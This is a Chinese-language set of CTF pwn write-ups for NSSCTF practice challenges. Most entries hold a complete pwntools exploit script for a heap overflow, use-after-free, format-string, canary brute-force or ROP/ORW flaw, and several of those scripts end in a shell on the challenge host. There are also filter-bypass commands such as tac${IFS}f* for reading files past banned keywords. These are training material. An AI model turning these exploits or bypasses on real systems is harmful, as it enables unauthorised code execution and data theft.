singout 一道nc连接的题目,主要是禁用了一些获取flag的指令。借鉴了一些wp,有以下方法:
tac${IFS}f* tac$IFS$9f* nl${IFS}f* nl$IFS$9f* tail ./* tail$IFS$9./f*
感觉挺奇特的
[NISACTF 2022]ezheap
这里申请了两个堆块s与command,存在gets函数会形成堆溢出,system函数会执行command堆块的内容,那么这里的想法就是造成堆溢出从s堆块溢出到command块并写入/bin/sh
这是gets前申请的s堆块与command堆块里面的内容,可以看出我们需要输入28字节大小的内容,再输入command堆块的size,就可以覆盖command堆块里面的内容。
这是gets后的两堆块里面的内容,可以看出确实将command堆块里面的内容覆盖为了/bin/sh字符串,此时再执行system(command)就能获取shell。
from pwn import* #io=remote('node5.anna.nssctf.cn',26661) io=process('./NISACTF_ezheap') gdb.attach(io) payload=b'a'*28+p32(0x21)+b'/bin/sh' io.sendline(payload) io.interactive()
FSCTF nc ban了cat、flag、sh、$0,也关闭了输出流,但我们可以通过其他方式获得flag,比如用tac fl*命令并重定向到输入或错误流即可。
[GDOUCTF 2023]真男人下120层 这道题是一道随机数的题目,其实挺简单的,这里我选择的是自己生成相应的随机数
#include<stdio.h> #include<stdlib.h> #include<time.h> int main() { srand(time(0)); srand(rand()%3-1522127470); int x=0; for(int i=0;i<120;i++) { x=rand()%4+1; printf("%d\n",x); } return 0; }
from pwn import* io=remote('node4.anna.nssctf.cn',28922) recv_data=os.popen('./zhen').read() #执行当前目录下的程序并读取该程序的输出结果 print(recv_data) list=recv_data.strip('\n') #移除字符串开头和结尾的换行符 list=recv_data.split('\n') #按照换行符将字符串分割成多个部分 print(list) for i in range(120): payload=list[i] io.sendline(str(payload)) io.interactive()
[NISACTF 2022]UAF 一道堆题目,做的第一道UAF,比较简单,但是因为刚接触堆,所以还是一步一步的认真写一下解题过程。
该程序实现了创建、编辑、删除与展示的功能。
在del函数中,进行了free了相应的内存块后,并没有将对应的指针设置为NULL,因此这里存在UAF漏洞。
在show函数中,有这么一段代码,在这里一步一步分析
(*((void (__cdecl **)(char *))page + 1))(page);
void (__cdecl *)(char *)
这是一个函数指针的声明,其中__cdecl是一个调用约定,这指向的是一个返回类型为void、参数为char*的函数。 2. ``` (void (__cdecl **)(char *))page
这是将page的指针类型强制转换为指向函数指针的指针
(void (__cdecl **)(char *))page+1
对转换后的指针+1,移动到下一个函数指针的位置,相当于访问的是函数指针数组的第二个元素 4. ``` (*((void (__cdecl **)(char *))page + 1))(page);
解引用得到实际的函数指针,并调用该函数传入page作为参数
其实简单来说就是调用一个带参数的函数。
存在后门函数,那么可以利用上面那个调用该函数并获取shell。我们就有一个想法,将NICO函数写入到page[1],将/bin/sh写入page[0],但这里存在一个问题,就是edit函数不能修改page[0],而想要能够调用(*((void (__cdecl **)(char *))page + 1))(page),只能输入0。
因此打算先创建0的chunk,然后free掉,再创建1的chunk,由于在free掉后并没有将指向0chunk的指针设为NULL,所以下标0和下标1同时指向一个chunk,再输入sh+NICO函数的地址,最后再show(0)即可获权。
这是create下标为0的chunk且free之前的,前面是我们输入的数据,后面就是show(0)时,调用的函数,可以看出只能输入4个字节,只能输入sh不能输入/bin/sh。
这是free+create+edit后的,此时再show(0),即可获得shell
from pwn import* context(arch='i386',os='linux') elf=ELF('./NISACTF_UAF') io=process('./NISACTF_UAF') def create(): io.sendlineafter(b':',b'1') def edit(index,context): io.sendlineafter(b':',b'2') io.sendlineafter(b'Input page',str(index)) io.sendlineafter(b'Input your strings',context) def delete(index): io.sendlineafter(b':',b'3') io.sendlineafter(b'Input page',str(index)) def show(index): io.sendlineafter(b':',b'4') io.sendlineafter(b'Input page',str(index)) gdb.attach(io) backdoor=elf.sym['system'] create() delete(0) create() payload=b'sh\x00\x00'+p32(backdoor) edit(1,payload) show(0) io.interactive()
[2021 鹤城杯]easyecho 这道题保护全开,能泄漏地址,再打stack smash
from pwn import* io=process('./easyecho') #io=remote('node7.anna.nssctf.cn',27077) gdb.attach(io) io.sendlineafter(b'Name: ',b'a'*0x10) io.recvuntil(b'a'*0x10) leak_addr=u64(io.recv(6).ljust(8,b'\x00')) print("leak_addr=",hex(leak_addr)) base_addr=leak_addr-0xcf0 success(hex(base_addr)) flag=base_addr+0x0202040 io.sendlineafter(b'',b'backdoor') payload=cyclic(0x168)+p64(flag) io.sendline(payload) io.interactive()
[BJDCTF 2020]YDSneedGirlfriend 存在后门函数,在创建堆块的时候,先创建0x10大小的堆块,再创建自定义大小的堆块,在free时没有将指针NULL,存在UAF。
from pwn import* context(arch='amd64',os='linux') io=remote('node4.anna.nssctf.cn',28532) #io=process('./girlfriend') backdoor=0x0400B9C def add(size,context): io.sendlineafter(b':',b'1') io.sendlineafter(b'Her name size is :',str(size)) io.sendlineafter(b'Her name is :',context) def delete(index): io.sendlineafter(b':',b'2') io.sendlineafter(b'Index :',str(index)) def show(index): io.sendlineafter(b':',b'3') io.sendlineafter(b'Index :',str(index)) #gdb.attach(io) add(0x20,b'aaa') add(0x20,b'bbb') delete(0) delete(1) add(0x10,p64(backdoor)) show(0) io.interactive()
[NISACTF 2022]shop_pwn 条件竞争,在sale里面存在usleep函数,线程存在延迟,可以在短时间内连续sale,从而可以获得更多的money去买flag。
from pwn import* context(arch='amd64',os='linux') io=remote('node5.anna.nssctf.cn',20950) def sale(index): io.sendline(b'3') io.sendline(str(index)) def buy(index): io.sendline(b'2') io.sendline(str(index)) sale(0) sale(0) buy(1) io.interactive()
[HNCTF 2022 WEEK4]ezheap 一道简单的堆题目
from pwn import* elf=ELF('./ezheap') libc=ELF('./libc-2.23.so') context(arch='amd64',os='linux') io=remote('node5.anna.nssctf.cn',29158) #io=process('./ezheap') def add(index,size,name,context): io.sendlineafter(b'Choice: ',b'1') io.sendlineafter(b'idx:',str(index)) io.sendlineafter(b'Size:',str(size)) io.sendlineafter(b'Name: ',name) io.sendlineafter(b'Content:',context) def delete(index): io.sendlineafter(b'Choice: ',b'2') io.sendlineafter(b'idx:',str(index)) def show(index): io.sendlineafter(b'Choice: ',b'3') io.sendlineafter(b'idx:',str(index)) def edit(index,size,context): io.sendlineafter(b'Choice: ',b'4') io.sendlineafter(b'idx:',str(index)) io.sendlineafter(b'Size:',str(size)) io.send(context) #gdb.attach(io) add(0,0x10,b'a',b'a') add(1,0x10,b'b',b'b') payload=p64(0)*3+p64(0x31)+p64(0)*2+p8(0x30) edit(0,0x31,payload) show(1) puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts)) libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] payload=p64(0)*3+p64(0x31)+b'/bin/sh\x00'+p64(0)*2+p64(1)+p64(system) edit(0,0x48,payload) show(1) io.interactive()
[CISCN 2023 初赛]funcanary 一道爆破题目
from pwn import * context(arch='amd64',os='linux',log_level='debug') #p = process('./funcanary') p=remote('node5.anna.nssctf.cn',20359) p.recvuntil('welcome\n') canary = b'\x00' for k in range(7): for i in range(256): p.send(b'a'*0x68 + canary + p8(i)) a = p.recvuntil("welcome\n") if b"fun" in a: canary += p8(i) print(b"canary: " + canary) break catflag = 0x0231 print(canary) while(1): for i in range(16): payload = b'A' * 0x68 + canary + b'A' * 8 + p16(catflag) p.send(payload) #pause() a = p.recvuntil("welcome\n",timeout=1) print(a) if b"welcome" in a: catflag += 0x1000 continue if b"NSSCTF" in a: print(a) break p.interactive()
[HNCTF 2022 WEEK4]ez_uaf from pwn import* context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node5.anna.nssctf.cn',24346) elf = ELF('./ez_uaf') libc = ELF('libc-2.27.so') def debug(): gdb.attach(p) pause() def add(size, name, content): p.sendlineafter(b'Choice: \n', '1') p.sendlineafter(b'Size:\n', str(size)) p.sendafter(b'Name: \n', name) p.sendafter(b'Content:\n', content) def free(index): p.sendlineafter(b'Choice: \n', '2') p.sendlineafter(b'idx:\n', str(index)) def show(index): p.sendlineafter(b'Choice: \n', '3') p.sendlineafter(b'idx:\n', str(index)) def edit(index, content): p.sendlineafter(b'Choice: \n', '4') p.sendlineafter(b'idx:\n', str(index)) p.send(content) # leak libcbase add(0x410, b'1', b'a') #index 0 add(0x20, b'1', b'a') #index 1 add(0x10, b'1', b'a') #index 2 free(0) show(0) libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] print(' libcbase -> ', hex(libcbase)) # malloc_hook -> one_gadget one_gadget = libcbase + 0x10a2fc malloc_hook = libcbase + libc.sym['__malloc_hook'] free(1) edit(1, p64(malloc_hook)) add(0x10, b'1', b'a') #index 3 add(0x20, b'1', b'a') #index 4 edit(4, p64(one_gadget)) # pwn p.sendlineafter(b'Choice: \n', '1') p.sendlineafter(b'Size:\n', b'10') p.interactive()
[watevrCTF 2019]Voting Machine 2 from pwn import* context(arch='i386',os='linux') io=remote('node5.anna.nssctf.cn',27609) #io=process('./voting_machine') elf=ELF('./voting_machine') exit_got=elf.got['exit'] main=0x084207FB flag=0x08420736 payload=b'aa'+fmtstr_payload(8,{exit_got:flag},numbwritten=2) #以输出的字符数 io.sendline(payload) io.interactive()
[HNCTF 2022 WEEK2]ret2text 爆破地址
from pwn import * context.os = "linux" context.arch = "amd64" context.log_level='debug' local = False elf = ELF("./ret2text") payload=b'a'*0x108+p16(0x11E5) while True: if local: io = process("./ret2text") else: ip = "node5.anna.nssctf.cn" port = 24066 io = remote(ip, port) try: io.sendafter(b"It's a easy challenge\n", payload) sleep(1) # 方便中断 io.recv(timeout=0.5) #io.sendline(b'ls') io.interactive() except: sleep(1) # 方便中断 io.close()
[HGAME 2023 week1]orw 打orw,这里就借用了下其他师傅的wp了(确实吊)
from pwn import * from LibcSearcher import * io=remote('node5.anna.nssctf.cn',24273) elf=ELF('./vuln') libc=ELF('./libc-2.31.so') def debug(): gdb.attach(io) pause() def sh(): return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00')) def PGM(data1, data2, data3): return elf.plt[str(data1)], elf.got[str(data2)], elf.sym[str(data3)], elf.bss() def ls(base, data): return base + libc.sym[str(data)] def shell(): return asm(shellcraft.sh()) def orw(data1, bss, p): return asm(shellcraft.open(str(data1)) + shellcraft.read(3, bss, p) + shellcraft.write(1, bss, p)) #find_gadget def fgg(data1, data2): return base + rop.find_gadget([str(data1), str(data2)])[0] s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) uu32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) uu64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) l32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) #ret2dl def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): linkmap = p64(offset & (2 ** 64 - 1)) linkmap += p64(0) linkmap += p64(fake_linkmap_addr + 0x18) linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) linkmap += p64(0x7) linkmap += p64(0) linkmap += p64(0) linkmap += p64(0) linkmap += p64(known_func_ptr - 0x8) linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68,b'A') linkmap += p64(fake_linkmap_addr) linkmap += p64(fake_linkmap_addr + 0x38) linkmap = linkmap.ljust(0xf8,b'A') linkmap += p64(fake_linkmap_addr + 0x8) return linkmap rop = ROP(libc) ret = 0x40101a rdi = 0x401393 leave = 0x4012be pl, pg, main, bss = PGM('puts','puts','main') pl1 = b'a' * 0x108 + p64(rdi) + p64(pg) + p64(pl) + p64(main) sa('task.',pl1) base = l64() - libc.sym['puts'] print(hex(base)) pop_rsi = fgg('pop rsi', 'ret') pop_rdx = fgg('pop rdx', 'ret') pop_rsp = fgg('pop rsp', 'ret') o = ls(base,'open') r = ls(base,'read') w = ls(base,'write') f = bss + 0x100 fake = 0x4012CF pl2 = b'a' * 0x100 + p64(f) + p64(fake) sa('task.',pl2) box = b"./flag\x00\x00" + p64(rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(o) box += p64(rdi) + p64(3) + p64(pop_rsi) + p64(bss + 0x200) + p64(pop_rdx) + p64(0x50) + p64(r) box += p64(rdi) + p64(1) + p64(pop_rsi) + p64(bss + 0x200) + p64(pop_rdx) + p64(0x50) + p64(w) box = box.ljust(0x100,b'\x00') box += p64(bss) + p64(leave) s(box) io.interactive()
[NSSRound#9 Basic]old fashion 打随机数
from pwn import* from ctypes import* import time elf=ELF('./zzzzz') libc=cdll.LoadLibrary('./libc-2.31.so') io=remote('node5.anna.nssctf.cn',27261) libc.srand(int(time.time())) payload=libc.rand()%100+1 io.sendline(str(payload)) io.interactive()
[HNCTF 2022 WEEK2]pivot
[HNCTF 2022 WEEK2]fmtstr_level2 fmtstr_payload(offset,writes,numbwritten=0,write_size='byte')
[SWPUCTF 2024 秋季新生赛]不是哥们ret2text还阴啊? gdb.attach(io,'b *0xdeadbeef')
[FSCTF 2023]What am I thinking? 一道不错的题目
from pwn import* import base64 io=remote('node4.anna.nssctf.cn',28366) io.sendline(b'\n') io.recvuntil(b'My brain:\n') data_recv=io.recvuntil(b'\nTell me',drop=True) data=base64.b64decode(data_recv) with open("dedata","wb") as f: f.write(data) os.system("chmod 777 dedata") p=process('./dedata') p.recvuntil(b'THE NUMBER IS ') number=p.recvuntil(b'\nCan',drop=True) io.sendline(number) io.interactive()
[LitCTF 2023]ezlogin syscall+绕过strcpy
from pwn import * #io = process('./pwn4') io = remote("node5.anna.nssctf.cn",21654) elf = ELF('./pwn4') context(arch='amd64', os='linux', log_level='debug') rax = 0x4005AF rdi = 0x400706 rsi = 0x410043 rdx = 0x448C95 syscall = 0x448D5F bss = 0x6BB300 main = 0x4005C0 def encsend(data:bytes): encdata = data.replace(b'\x00',b'\x01') idx = len(data) - 1 while 1: if encdata[idx] == 1: io.sendafter(b'password:', b'A'*0x108 + encdata[:idx-len(data)]+b'\x00') if idx == 1: return idx = idx - 1 Payload = p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(syscall) + p64(main) encsend(Payload) Payload = b'PASSWORD\x00' io.sendafter(b'password:', Payload) io.send(b'/bin/sh\x00') Payload = p64(rax) + p64(59) + p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall) encsend(Payload) Payload = b'PASSWORD\x00' io.sendafter(b'password:', Payload) io.interactive()